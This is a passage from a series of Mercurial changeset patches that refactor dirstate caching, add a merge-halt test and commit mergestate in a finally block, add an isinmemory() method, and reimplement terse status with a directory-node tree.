dirstate implementations to replace the implementation.

Differential Revision: https://phab.mercurial-scm.org/D980

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -133,11 +133,6 @@
         return self._map
 
     @propertycache
-    def _identity(self):
-        self._read()
-        return self._identity
-
-    @propertycache
     def _filefoldmap(self):
         return self._map.filefoldmap()
 
@@ -375,9 +370,6 @@
             raise
 
     def _read(self):
-        # ignore HG_PENDING because identity is used only for writing
-        self._identity = util.filestat.frompath(
-            self._opener.join(self._filename))
         self._map = dirstatemap(self._ui, self._opener, self._root)
         self._map.read()
 
@@ -388,8 +380,7 @@
         rereads the dirstate. Use localrepo.invalidatedirstate() if you want to
         check whether the dirstate has changed before rereading it.'''
 
-        for a in ("_map", "_identity",
-                  "_filefoldmap", "_dirfoldmap", "_branch",
+        for a in ("_map", "_filefoldmap", "_dirfoldmap", "_branch",
                   "_dirs", "_ignore"):
             if a in self.__dict__:
                 delattr(self, a)
@@ -652,7 +643,7 @@
         If identity of previous dirstate is equal to this, writing
         changes based on the former dirstate out can keep consistency.
         '''
-        return self._identity
+        return self._map.identity
 
     def write(self, tr):
         if not self._dirty:
@@ -1342,6 +1333,10 @@
         self._dirtyparents = True
 
     def read(self):
+        # ignore HG_PENDING because identity is used only for writing
+        self.identity = util.filestat.frompath(
+            self._opener.join(self._filename))
+
         try:
             fp = self._opendirstatefile()
             try:
@@ -1404,3 +1399,8 @@
         self.nonnormalset = nonnorm
         return otherparents
 
+    @propertycache
+    def identity(self):
+        self.read()
+        return self.identity
+
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1507228481 25200
#      Thu Oct 05 11:34:41 2017 -0700
# Node ID bfddc3d678ae671dfc837a75cc13a03c0f203e88
# Parent  c6ef9a2498a53135d4073dc20aba58e208960bf9
dirstate: remove _filefoldmap property cache

Now that the filefoldmap is source of truthed on the dirstatemap, let's get rid
of the property cache on the dirstate.

Differential Revision: https://phab.mercurial-scm.org/D981

diff --git a/contrib/perf.py b/contrib/perf.py
--- a/contrib/perf.py
+++ b/contrib/perf.py
@@ -549,8 +549,8 @@
     dirstate = repo.dirstate
     'a' in dirstate
     def d():
-        dirstate._filefoldmap.get('a')
-        del dirstate._filefoldmap
+        dirstate._map.filefoldmap.get('a')
+        del dirstate._map.filefoldmap
     timer(d)
     fm.end()
 
diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -133,10 +133,6 @@
         return self._map
 
     @propertycache
-    def _filefoldmap(self):
-        return self._map.filefoldmap()
-
-    @propertycache
     def _dirfoldmap(self):
         f = {}
         normcase = util.normcase
@@ -380,7 +376,7 @@
         rereads the dirstate. Use localrepo.invalidatedirstate() if you want to
         check whether the dirstate has changed before rereading it.'''
 
-        for a in ("_map", "_filefoldmap", "_dirfoldmap", "_branch",
+        for a in ("_map", "_dirfoldmap", "_branch",
                   "_dirs", "_ignore"):
             if a in self.__dict__:
                 delattr(self, a)
@@ -412,10 +408,10 @@
         if self[f] not in "?r" and "_dirs" in self.__dict__:
             self._dirs.delpath(f)
 
-        if "_filefoldmap" in self.__dict__:
+        if "filefoldmap" in self._map.__dict__:
             normed = util.normcase(f)
-            if normed in self._filefoldmap:
-                del self._filefoldmap[normed]
+            if normed in self._map.filefoldmap:
+                del self._map.filefoldmap[normed]
 
         self._updatedfiles.add(f)
 
@@ -563,18 +559,18 @@
 
     def _normalizefile(self, path, isknown, ignoremissing=False, exists=None):
         normed = util.normcase(path)
-        folded = self._filefoldmap.get(normed, None)
+        folded = self._map.filefoldmap.get(normed, None)
         if folded is None:
             if isknown:
                 folded = path
             else:
                 folded = self._discoverpath(path, normed, ignoremissing, exists,
-                                            self._filefoldmap)
+                                            self._map.filefoldmap)
         return folded
 
     def _normalize(self, path, isknown, ignoremissing=False, exists=None):
         normed = util.normcase(path)
-        folded = self._filefoldmap.get(normed, None)
+        folded = self._map.filefoldmap.get(normed, None)
         if folded is None:
             folded = self._dirfoldmap.get(normed, None)
         if folded is None:
@@ -1270,6 +1266,7 @@
                     otherparent.add(fname)
             return nonnorm, otherparent
 
+    @propertycache
     def filefoldmap(self):
         """Returns a dictionary mapping normalized case paths to their
         non-normalized versions.
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1507228481 25200
#      Thu Oct 05 11:34:41 2017 -0700
# Node ID 014bd2a555c8fb2b83891d4e57df55fd3382cde2
# Parent  bfddc3d678ae671dfc837a75cc13a03c0f203e88
dirstate: remove _dirs property cache

Now that dirs is source of truthed on the dirstatemap, let's get rid of the
_dirs propertycache on the dirstate.

Differential Revision: https://phab.mercurial-scm.org/D982

diff --git a/contrib/perf.py b/contrib/perf.py
--- a/contrib/perf.py
+++ b/contrib/perf.py
@@ -519,7 +519,7 @@
     'a' in dirstate
     def d():
         dirstate.dirs()
-        del dirstate._dirs
+        del dirstate._map.dirs
     timer(d)
     fm.end()
 
@@ -538,8 +538,8 @@
     timer, fm = gettimer(ui, opts)
     "a" in repo.dirstate
     def d():
-        "a" in repo.dirstate._dirs
-        del repo.dirstate._dirs
+        "a" in repo.dirstate._map.dirs
+        del repo.dirstate._map.dirs
     timer(d)
     fm.end()
 
@@ -562,7 +562,7 @@
     def d():
         dirstate._dirfoldmap.get('a')
         del dirstate._dirfoldmap
-        del dirstate._dirs
+        del dirstate._map.dirs
     timer(d)
     fm.end()
 
diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -136,7 +136,7 @@
     def _dirfoldmap(self):
         f = {}
         normcase = util.normcase
-        for name in self._dirs:
+        for name in self._map.dirs:
             f[normcase(name)] = name
         return f
 
@@ -166,12 +166,8 @@
     def _pl(self):
         return self._map.parents()
 
-    @propertycache
-    def _dirs(self):
-        return self._map.dirs()
-
     def dirs(self):
-        return self._dirs
+        return self._map.dirs
 
     @rootcache('.hgignore')
     def _ignore(self):
@@ -377,7 +373,7 @@
         check whether the dirstate has changed before rereading it.'''
 
         for a in ("_map", "_dirfoldmap", "_branch",
-                  "_dirs", "_ignore"):
+                  "_ignore"):
             if a in self.__dict__:
                 delattr(self, a)
         self._lastnormaltime = 0
@@ -405,8 +401,8 @@
         return self._map.copymap
 
     def _droppath(self, f):
-        if self[f] not in "?r" and "_dirs" in self.__dict__:
-            self._dirs.delpath(f)
+        if self[f] not in "?r" and "dirs" in self._map.__dict__:
+            self._map.dirs.delpath(f)
 
         if "filefoldmap" in self._map.__dict__:
             normed = util.normcase(f)
@@ -419,18 +415,18 @@
         oldstate = self[f]
         if state == 'a' or oldstate == 'r':
             scmutil.checkfilename(f)
-            if f in self._dirs:
+            if f in self._map.dirs:
                 raise error.Abort(_('directory %r already in dirstate') % f)
             # shadows
             for d in util.finddirs(f):
-                if d in self._dirs:
+                if d in self._map.dirs:
                     break
                 entry = self._map.get(d)
                 if entry is not None and entry[0] != 'r':
                     raise error.Abort(
                         _('file %r in dirstate clashes with %r') % (d, f))
-        if oldstate in "?r" and "_dirs" in self.__dict__:
-            self._dirs.addpath(f)
+        if oldstate in "?r" and "dirs" in self._map.__dict__:
+            self._map.dirs.addpath(f)
         self._dirty = True
         self._updatedfiles.add(f)
         self._map[f] = dirstatetuple(state, mode, size, mtime)
@@ -607,8 +603,6 @@
 
     def clear(self):
         self._map = dirstatemap(self._ui, self._opener, self._root)
-        if "_dirs" in self.__dict__:
-            delattr(self, "_dirs")
         self._map.setparents(nullid, nullid)
         self._lastnormaltime = 0
         self._updatedfiles.clear()
@@ -1287,6 +1281,7 @@
         f['.'] = '.' # prevents useless util.fspath() invocation
         return f
 
+    @propertycache
     def dirs(self):
         """Returns a set-like object containing all the directories in the
         current dirstate.
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1507228481 25200
#      Thu Oct 05 11:34:41 2017 -0700
# Node ID e8a89ed7ce96b0b8f665e030939059fc1dab4a50
# Parent  014bd2a555c8fb2b83891d4e57df55fd3382cde2
dirstate: move the _dirfoldmap to dirstatemap

Now that dirstatemap is the source of truth for the list of directories, let's
move _dirfoldmap on to it.

This pattern of moving cached variables onto the dirstate map makes it easier to
invalidate them, as seen by how the cache invalidation functions are slowly
shrinking to just be recreating the dirstatemap instance.

Differential Revision: https://phab.mercurial-scm.org/D983

diff --git a/contrib/perf.py b/contrib/perf.py
--- a/contrib/perf.py
+++ b/contrib/perf.py
@@ -560,8 +560,8 @@
     dirstate = repo.dirstate
     'a' in dirstate
     def d():
-        dirstate._dirfoldmap.get('a')
-        del dirstate._dirfoldmap
+        dirstate._map.dirfoldmap.get('a')
+        del dirstate._map.dirfoldmap
         del dirstate._map.dirs
     timer(d)
     fm.end()
diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -132,14 +132,6 @@
         self._read()
         return self._map
 
-    @propertycache
-    def _dirfoldmap(self):
-        f = {}
-        normcase = util.normcase
-        for name in self._map.dirs:
-            f[normcase(name)] = name
-        return f
-
     @property
     def _sparsematcher(self):
         """The matcher for the sparse checkout.
@@ -372,8 +364,7 @@
         rereads the dirstate. Use localrepo.invalidatedirstate() if you want to
         check whether the dirstate has changed before rereading it.'''
 
-        for a in ("_map", "_dirfoldmap", "_branch",
-                  "_ignore"):
+        for a in ("_map", "_branch", "_ignore"):
             if a in self.__dict__:
                 delattr(self, a)
         self._lastnormaltime = 0
@@ -568,7 +559,7 @@
         normed = util.normcase(path)
         folded = self._map.filefoldmap.get(normed, None)
         if folded is None:
-            folded = self._dirfoldmap.get(normed, None)
+            folded = self._map.dirfoldmap.get(normed, None)
         if folded is None:
             if isknown:
                 folded = path
@@ -576,7 +567,7 @@
                 # store discovered result in dirfoldmap so that future
                 # normalizefile calls don't start matching directories
                 folded = self._discoverpath(path, normed, ignoremissing, exists,
-                                            self._dirfoldmap)
+                                            self._map.dirfoldmap)
         return folded
 
     def normalize(self, path, isknown=False, ignoremissing=False):
@@ -875,7 +866,7 @@
                 if len(paths) > 1:
                     for path in paths:
                         folded = self._discoverpath(path, norm, True, None,
-                                                    self._dirfoldmap)
+                                                    self._map.dirfoldmap)
                         if path != folded:
                             results[path] = None
 
@@ -1396,3 +1387,10 @@
         self.read()
         return self.identity
 
+    @propertycache
+    def dirfoldmap(self):
+        f = {}
+        normcase = util.normcase
+        for name in self.dirs:
+            f[normcase(name)] = name
+        return f
# HG changeset patch
# User Ryan McElroy <rmcelroy@fb.com>
# Date 1507297723 25200
#      Fri Oct 06 06:48:43 2017 -0700
# Node ID 143337bcec9b387d1cd81d5036cf871abf768055
# Parent  e8a89ed7ce96b0b8f665e030939059fc1dab4a50
merge: add tests to show current behavior on failed filemerges

Currently, failed file merges will nevertheless force the user to continue
attempting to merge all additional unresolved files. Future patches will allow
the user to halt the merge process instead. This patch first introduces a test
demonstrating the current bejhavior so the upcoming changes are more obvious.

Differential Revision: https://phab.mercurial-scm.org/D930

diff --git a/tests/test-merge-halt.t b/tests/test-merge-halt.t
new file mode 100644
--- /dev/null
+++ b/tests/test-merge-halt.t
@@ -0,0 +1,78 @@
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > rebase=
+  > [phases]
+  > publish=False
+  > [merge]
+  > EOF
+
+  $ hg init repo
+  $ cd repo
+  $ echo a > a
+  $ echo b > b
+  $ hg commit -qAm ab
+  $ echo c >> a
+  $ echo c >> b
+  $ hg commit -qAm c
+  $ hg up -q ".^"
+  $ echo d >> a
+  $ echo d >> b
+  $ hg commit -qAm d
+
+Testing on-failure=continue
+  $ echo on-failure=continue >> $HGRCPATH
+  $ hg rebase -s 1 -d 2 --tool false
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+  merging a failed!
+  merging b failed!
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
+
+  $ hg resolve --list
+  U a
+  U b
+
+  $ hg rebase --abort
+  rebase aborted
+
+Testing on-failure=halt
+  $ echo on-failure=halt >> $HGRCPATH
+  $ hg rebase -s 1 -d 2 --tool false
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+  merging a failed!
+  merging b failed!
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
+
+  $ hg resolve --list
+  U a
+  U b
+
+  $ hg rebase --abort
+  rebase aborted
+
+Testing on-failure=prompt
+  $ echo on-failure=prompt >> $HGRCPATH
+  $ cat <<EOS | hg rebase -s 1 -d 2 --tool false --config ui.interactive=1
+  > y
+  > n
+  > EOS
+  rebasing 1:1f28a51c3c9b "c"
+  merging a
+  merging b
+  merging a failed!
+  merging b failed!
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
+
+  $ hg resolve --list
+  U a
+  U b
+
+  $ hg rebase --abort
+  rebase aborted
+
# HG changeset patch
# User Ryan McElroy <rmcelroy@fb.com>
# Date 1507297723 25200
#      Fri Oct 06 06:48:43 2017 -0700
# Node ID c0a524f77e8afc61d2ebcd518ecf65955b4afb35
# Parent  143337bcec9b387d1cd81d5036cf871abf768055
merge: ensure that we always commit the mergestate

In future patches, we may halt the merge process based on configuration or
user requests by raising exceptions. We need to ensure that the mergestate
is unconditionally committed even when such an exception is raised.

Depends on D930.

Differential Revision: https://phab.mercurial-scm.org/D931

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -1537,30 +1537,32 @@
                 newactions.append((f, args, msg))
         mergeactions = newactions
 
-    # premerge
-    tocomplete = []
-    for f, args, msg in mergeactions:
-        repo.ui.debug(" %s: %s -> m (premerge)\n" % (f, msg))
-        z += 1
-        progress(_updating, z, item=f, total=numupdates, unit=_files)
-        if f == '.hgsubstate': # subrepo states need updating
-            subrepo.submerge(repo, wctx, mctx, wctx.ancestor(mctx),
-                             overwrite, labels)
-            continue
-        wctx[f].audit()
-        complete, r = ms.preresolve(f, wctx)
-        if not complete:
-            numupdates += 1
-            tocomplete.append((f, args, msg))
+    try:
+        # premerge
+        tocomplete = []
+        for f, args, msg in mergeactions:
+            repo.ui.debug(" %s: %s -> m (premerge)\n" % (f, msg))
+            z += 1
+            progress(_updating, z, item=f, total=numupdates, unit=_files)
+            if f == '.hgsubstate': # subrepo states need updating
+                subrepo.submerge(repo, wctx, mctx, wctx.ancestor(mctx),
+                                 overwrite, labels)
+                continue
+            wctx[f].audit()
+            complete, r = ms.preresolve(f, wctx)
+            if not complete:
+                numupdates += 1
+                tocomplete.append((f, args, msg))
 
-    # merge
-    for f, args, msg in tocomplete:
-        repo.ui.debug(" %s: %s -> m (merge)\n" % (f, msg))
-        z += 1
-        progress(_updating, z, item=f, total=numupdates, unit=_files)
-        ms.resolve(f, wctx)
+        # merge
+        for f, args, msg in tocomplete:
+            repo.ui.debug(" %s: %s -> m (merge)\n" % (f, msg))
+            z += 1
+            progress(_updating, z, item=f, total=numupdates, unit=_files)
+            ms.resolve(f, wctx)
 
-    ms.commit()
+    finally:
+        ms.commit()
 
     unresolved = ms.unresolvedcount()
 
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1507924486 25200
#      Fri Oct 13 12:54:46 2017 -0700
# Node ID 4dc8a2ee0f4f3ae9f1a5d3960e0b6d6fb906ac2e
# Parent  c0a524f77e8afc61d2ebcd518ecf65955b4afb35
context: add is `isinmemory()` to filectx

This will make it easier to skip certain behavior when running an in-memory
merge.

Differential Revision: https://phab.mercurial-scm.org/D1061

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -622,6 +622,9 @@
     def hidden(self):
         return self._rev in repoview.filterrevs(self._repo, 'visible')
 
+    def isinmemory(self):
+        return False
+
     def children(self):
         """return contexts for each child changeset"""
         c = self._repo.changelog.children(self._node)
@@ -1401,6 +1404,9 @@
     def extra(self):
         return self._extra
 
+    def isinmemory(self):
+        return False
+
     def tags(self):
         return []
 
@@ -1978,6 +1984,9 @@
         else:
             return self._wrappedctx[path].data()
 
+    def isinmemory(self):
+        return True
+
     def filedate(self, path):
         if self.isdirty(path):
             return self._cache[path]['date']
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1507303463 -19800
#      Fri Oct 06 20:54:23 2017 +0530
# Node ID 7e3001b74ab398ef4fc6cad25cc32148f2104dc5
# Parent  4dc8a2ee0f4f3ae9f1a5d3960e0b6d6fb906ac2e
tersestatus: re-implement the functionality to terse the status

The previous terse status implementation was hacking around os.listdir() and was
flaky. There have been a lot of instances of mercurial buildbots failing
and google's internal builds failing because of the
hacky implementation of terse status. Even though I wrote the last
implementation but it was hard for me to find the reason for the flake.

The new implementation can be slower than the old one but is clean and easy to
understand.

In this we create a node object for each directory and create a tree
like structure starting from the root of the working copy. While building the
tree like structure we store some information on the nodes which will be helpful
for deciding later whether we can terse the dir or not.
Once the whole tree is build we traverse and built the list of files for each
status with required tersing.

There is no behaviour change as the old test, test-status-terse.t passes with
the new implementation.

Differential Revision: https://phab.mercurial-scm.org/D985

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -402,177 +402,169 @@
 
     return commit(ui, repo, recordinwlock, pats, opts)
 
-def tersestatus(root, statlist, status, ignorefn, ignore):
-    """
-    Returns a list of statuses with directory collapsed if all the files in the
-    directory has the same status.
+
+# extracted at module level as it's required each time a file will be added
+# to dirnode class object below
+pathsep = pycompat.ossep
+
+class dirnode(object):
     """
-
-    def numfiles(dirname):
-        """
-        Calculates the number of tracked files in a given directory which also
-        includes files which were removed or deleted. Considers ignored files
-        if ignore argument is True or 'i' is present in status argument.
+    represents a directory in user working copy
+
+    stores information which is required for purpose of tersing the status
+
+    path is the path to the directory
+
+    statuses is a set of statuses of all files in this directory (this includes
+    all the files in all the subdirectories too)
+
+    files is a list of files which are direct child of this directory
+
+    subdirs is a dictionary of sub-directory name as the key and it's own
+    dirnode object as the value
+    """
+
+    def __init__(self, dirpath):
+        self.path = dirpath
+        self.statuses = set([])
+        self.files = []
+        self.subdirs = {}
+
+    def _addfileindir(self, filename, status):
+        """ adds a file in this directory as the direct child """
+        self.files.append((filename, status))
+
+    def addfile(self, filename, status):
         """
-        if lencache.get(dirname):
-            return lencache[dirname]
-        if 'i' in status or ignore:
-            def match(localpath):
-                absolutepath = os.path.join(root, localpath)
-                if os.path.isdir(absolutepath) and isemptydir(absolutepath):
-                    return True
-                return False
-        else:
-            def match(localpath):
-                # there can be directory whose all the files are ignored and
-                # hence the drectory should also be ignored while counting
-                # number of files or subdirs in it's parent directory. This
-                # checks the same.
-                # XXX: We need a better logic here.
-                if os.path.isdir(os.path.join(root, localpath)):
-                    return isignoreddir(localpath)
-                else:
-                    # XXX: there can be files which have the ignored pattern but
-                    # are not ignored. That leads to bug in counting number of
-                    # tracked files in the directory.
-                    return ignorefn(localpath)
-        lendir = 0
-        abspath = os.path.join(root, dirname)
-        # There might be cases when a directory does not exists as the whole
-        # directory can be removed and/or deleted.
-        try:
-            for f in os.listdir(abspath):
-                localpath = os.path.join(dirname, f)
-                if not match(localpath):
-                    lendir += 1
-        except OSError:
-            pass
-        lendir += len(absentdir.get(dirname, []))
-        lencache[dirname] = lendir
-        return lendir
-
-    def isemptydir(abspath):
-        """
-        Check whether a directory is empty or not, i.e. there is no files in the
-        directory and all its subdirectories.
-        """
-        for f in os.listdir(abspath):
-            fullpath = os.path.join(abspath, f)
-            if os.path.isdir(fullpath):
-                # recursion here
-                ret = isemptydir(fullpath)
-                if not ret:
-                    return False
-            else:
-                return False
-        return True
-
-    def isignoreddir(localpath):
-        """Return True if `localpath` directory is ignored or contains only
-        ignored files and should hence be considered ignored.
-        """
-        dirpath = os.path.join(root, localpath)
-        if ignorefn(dirpath):
-            return True
-        for f in os.listdir(dirpath):
-            filepath = os.path.join(dirpath, f)
-            if os.path.isdir(filepath):
-                # recursion here
-                ret = isignoreddir(os.path.join(localpath, f))
-                if not ret:
-                    return False
-            else:
-                if not ignorefn(os.path.join(localpath, f)):
-                    return False
-        return True
-
-    def absentones(removedfiles, missingfiles):
+        adds a file which is present in this directory to its direct parent
+        dirnode object
+
+        if the file is not direct child of this directory, we traverse to the
+        directory of which this file is a direct child of and add the file there
         """
-        Returns a dictionary of directories with files in it which are either
-        removed or missing (deleted) in them.
-        """
-        absentdir = {}
-        absentfiles = removedfiles + missingfiles
-        while absentfiles:
-            f = absentfiles.pop()
-            par = os.path.dirname(f)
-            if par == '':
-                continue
-            # we need to store files rather than number of files as some files
-            # or subdirectories in a directory can be counted twice. This is
-            # also we have used sets here.
-            try:
-                absentdir[par].add(f)
-            except KeyError:
-                absentdir[par] = set([f])
-            absentfiles.append(par)
-        return absentdir
-
-    indexes = {'m': 0, 'a': 1, 'r': 2, 'd': 3, 'u': 4, 'i': 5, 'c': 6}
-    # get a dictonary of directories and files which are missing as os.listdir()
-    # won't be able to list them.
-    absentdir = absentones(statlist[2], statlist[3])
-    finalrs = [[]] * len(indexes)
-    didsomethingchanged = False
-    # dictionary to store number of files and subdir in a directory so that we
-    # don't compute that again.
-    lencache = {}
-
-    for st in pycompat.bytestr(status):
-
-        try:
-            ind = indexes[st]
-        except KeyError:
-            # TODO: Need a better error message here
-            raise error.Abort("'%s' not recognized" % st)
-
-        sfiles = statlist[ind]
-        if not sfiles:
-            continue
-        pardict = {}
-        for a in sfiles:
-            par = os.path.dirname(a)
-            pardict.setdefault(par, []).append(a)
-
-        rs = []
-        newls = []
-        for par, files in sorted(pardict.iteritems()):
-            lenpar = numfiles(par)
-            if lenpar == len(files):
-                newls.append(par)
-
-        if not newls:
-            continue
-
-        while newls:
-            newel = newls.pop()
-            if newel == '':
-                continue
-            parn = os.path.dirname(newel)
-            pardict[newel] = []
-            # Adding pycompat.ossep as newel is a directory.
-            pardict.setdefault(parn, []).append(newel + pycompat.ossep)
-            lenpar = numfiles(parn)
-            if lenpar == len(pardict[parn]):
-                newls.append(parn)
-
-        # dict.values() for Py3 compatibility
-        for files in pardict.values():
-            rs.extend(files)
-
-        rs.sort()
-        finalrs[ind] = rs
-        didsomethingchanged = True
-
-    # If nothing is changed, make sure the order of files is preserved.
-    if not didsomethingchanged:
-        return statlist
-
-    for x in xrange(len(indexes)):
-        if not finalrs[x]:
-            finalrs[x] = statlist[x]
-
-    return finalrs
+
+        # the filename contains a path separator, it means it's not the direct
+        # child of this directory
+        if pathsep in filename:
+            subdir, filep = filename.split(pathsep, 1)
+
+            # does the dirnode object for subdir exists
+            if subdir not in self.subdirs:
+                subdirpath = os.path.join(self.path, subdir)
+                self.subdirs[subdir] = dirnode(subdirpath)
+
+            # try adding the file in subdir
+            self.subdirs[subdir].addfile(filep, status)
+
+        else:
+            self._addfileindir(filename, status)
+
+        if status not in self.statuses:
+            self.statuses.add(status)
+
+def _addfilestotersed(path, files, tersedict):
+    """ adds files to the their respective status list in the final tersed list
+
+    path is the path of parent directory of the file
+    files is a list of tuple where each tuple is (filename, status)
+    tersedict is a dictonary which contains each status abbreviation as key and
+    list of files and tersed dirs in that status as value
+    """
+    for f, st in files:
+        tersedict[st].append(os.path.join(path, f))
+
+def _processtersestatus(subdir, tersedict, terseargs):
+    """a recursive function which process status for a certain directory.
+
+    subdir is an oject of dirnode class defined below. each object of dirnode
+    class has a set of statuses which files in that directory has. This ease our
+    check whether we can terse that directory or not.
+
+    tersedict is a dictonary which contains each status abbreviation as key and
+    list of files and tersed dirs in that status as value. In each function call
+    we are passing the same dict and adding files and dirs to it.
+
+    terseargs is the string of arguments passed by the user with `--terse` flag.
+
+    Following are the cases which can happen:
+
+    1) All the files in the directory (including all the files in its
+    subdirectories) share the same status and the user has asked us to terse
+    that status. -> we add the directory name to status list and return
+
+    2) If '1)' does not happen, we do following:
+
+            a) Add all the files which are in this directory (only the ones in
+                this directory, not the subdirs) to their respective status list
+
+            b) Recurse the function on all the subdirectories of this directory
+    """
+
+    if len(subdir.statuses) == 1:
+        onlyst = subdir.statuses.pop()
+
+        # Making sure we terse only when the status abbreviation is passed as
+        # terse argument
+        if onlyst in terseargs:
+            tersedict[onlyst].append(subdir.path + pycompat.ossep)
+            return
+
+    # add the files to status list
+    _addfilestotersed(subdir.path, subdir.files, tersedict)
+
+    #recurse on the subdirs
+    for dirobj in subdir.subdirs.values():
+        _processtersestatus(dirobj, tersedict, terseargs)
+
+def tersedir(statuslist, terseargs):
+    """
+    terses the status if all the files in a directory shares the same status
+
+    statuslist is scmutil.status() object which contains a list of files for
+    each status.
+    terseargs is string which is passed by the user as the argument to `--terse`
+    flag.
+
+    The function makes a tree of objects of dirnode class, and at each node it
+    stores the information required to know whether we can terse a certain
+    directory or not.
+
+    tersedict (defined in the function) is a dictionary which has one word key
+    for each status and a list of files and dir in that status as the respective
+    value. The dictionary is passed to other helper functions which builds it.
+    """
+    # the order matters here as that is used to produce final list
+    allst = ('m', 'a', 'r', 'd', 'u', 'i', 'c')
+
+    # checking the argument validity
+    for s in terseargs:
+        if s not in allst:
+            raise error.Abort(_("'%s' not recognized") % s)
+
+    # creating a dirnode object for the root of the repo
+    rootobj = dirnode('')
+    pstatus = ('modified', 'added', 'deleted', 'clean', 'unknown',
+               'ignored', 'removed')
+
+    tersedict = {}
+    for attrname in pstatus:
+        for f in getattr(statuslist, attrname):
+            rootobj.addfile(f, attrname[0])
+        tersedict[attrname[0]] = []
+
+    # we won't be tersing the root dir, so add files in it
+    _addfilestotersed(rootobj.path, rootobj.files, tersedict)
+
+    # process each sub-directory and build tersedict
+    for subdir in rootobj.subdirs.values():
+        _processtersestatus(subdir, tersedict, terseargs)
+
+    tersedlist = []
+    for st in allst:
+        tersedict[st].sort()
+        tersedlist.append(tersedict[st])
+
+    return tersedlist
 
 def _commentlines(raw):
     '''Surround lineswith a comment char and a new line'''
diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4805,12 +4805,18 @@
             show = states[:5]
 
     m = scmutil.match(repo[node2], pats, opts)
-    stat = repo.status(node1, node2, m,
-                       'ignored' in show, 'clean' in show, 'unknown' in show,
-                       opts.get('subrepos'))
     if terse:
-        stat = cmdutil.tersestatus(repo.root, stat, terse,
-                                    repo.dirstate._ignore, opts.get('ignored'))
+        # we need to compute clean and unknown to terse
+        stat = repo.status(node1, node2, m,
+                           'ignored' in show or 'i' in terse,
+                            True, True, opts.get('subrepos'))
+
+        stat = cmdutil.tersedir(stat, terse)
+    else:
+        stat = repo.status(node1, node2, m,
+                           'ignored' in show, 'clean' in show,
+                           'unknown' in show, opts.get('subrepos'))
+
     changestates = zip(states, pycompat.iterbytestr('MAR!?IC'), stat)
 
     if (opts.get('all') or opts.get('copies')
# HG changeset patch
# User Denis Laxalde <denis@laxalde.org>
# Date 1507749559 -7200
#      Wed Oct 11 21:19:19 2017 +0200
# Node ID 3d6d4b12128e8056f988bf36be1fc46e4c7b29dc
# Parent  7e3001b74ab398ef4fc6cad25cc32148f2104dc5
tersestatus: make methods part of the dirnode class

Differential Revision: https://phab.mercurial-scm.org/D1042

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -462,59 +462,64 @@
         if status not in self.statuses:
             self.statuses.add(status)
 
-def _addfilestotersed(path, files, tersedict):
-    """ adds files to the their respective status list in the final tersed list
-
-    path is the path of parent directory of the file
-    files is a list of tuple where each tuple is (filename, status)
-    tersedict is a dictonary which contains each status abbreviation as key and
-    list of files and tersed dirs in that status as value
-    """
-    for f, st in files:
-        tersedict[st].append(os.path.join(path, f))
-
-def _processtersestatus(subdir, tersedict, terseargs):
-    """a recursive function which process status for a certain directory.
-
-    subdir is an oject of dirnode class defined below. each object of dirnode
-    class has a set of statuses which files in that directory has. This ease our
-    check whether we can terse that directory or not.
-
-    tersedict is a dictonary which contains each status abbreviation as key and
-    list of files and tersed dirs in that status as value. In each function call
-    we are passing the same dict and adding files and dirs to it.
-
-    terseargs is the string of arguments passed by the user with `--terse` flag.
-
-    Following are the cases which can happen:
-
-    1) All the files in the directory (including all the files in its
-    subdirectories) share the same status and the user has asked us to terse
-    that status. -> we add the directory name to status list and return
-
-    2) If '1)' does not happen, we do following:
-
-            a) Add all the files which are in this directory (only the ones in
-                this directory, not the subdirs) to their respective status list
-
-            b) Recurse the function on all the subdirectories of this directory
-    """
-
-    if len(subdir.statuses) == 1:
-        onlyst = subdir.statuses.pop()
-
-        # Making sure we terse only when the status abbreviation is passed as
-        # terse argument
-        if onlyst in terseargs:
-            tersedict[onlyst].append(subdir.path + pycompat.ossep)
-            return
-
-    # add the files to status list
-    _addfilestotersed(subdir.path, subdir.files, tersedict)
-
-    #recurse on the subdirs
-    for dirobj in subdir.subdirs.values():
-        _processtersestatus(dirobj, tersedict, terseargs)
+    def _addfilestotersed(self, tersedict):
+        """
+        adds files to the their respective status list in the final tersed list
+
+        path is the path of parent directory of the file
+        files is a list of tuple where each tuple is (filename, status)
+        tersedict is a dictonary which contains each status abbreviation as key and
+        list of files and tersed dirs in that status as value
+        """
+        for f, st in self.files:
+            tersedict[st].append(os.path.join(self.path, f))
+
+    def _processtersestatus(self, tersedict, terseargs):
+        """
+        a recursive function which process status for a certain directory.
+
+        self is an oject of dirnode class defined below. each object of dirnode
+        class has a set of statuses which files in that directory has. This ease
+        our check whether we can terse that directory or not.
+
+        tersedict is a dictonary which contains each status abbreviation as key
+        and list of files and tersed dirs in that status as value. In each
+        function call we are passing the same dict and adding files and dirs
+        to it.
+
+        terseargs is the string of arguments passed by the user with `--terse`
+        flag.
+
+        Following are the cases which can happen:
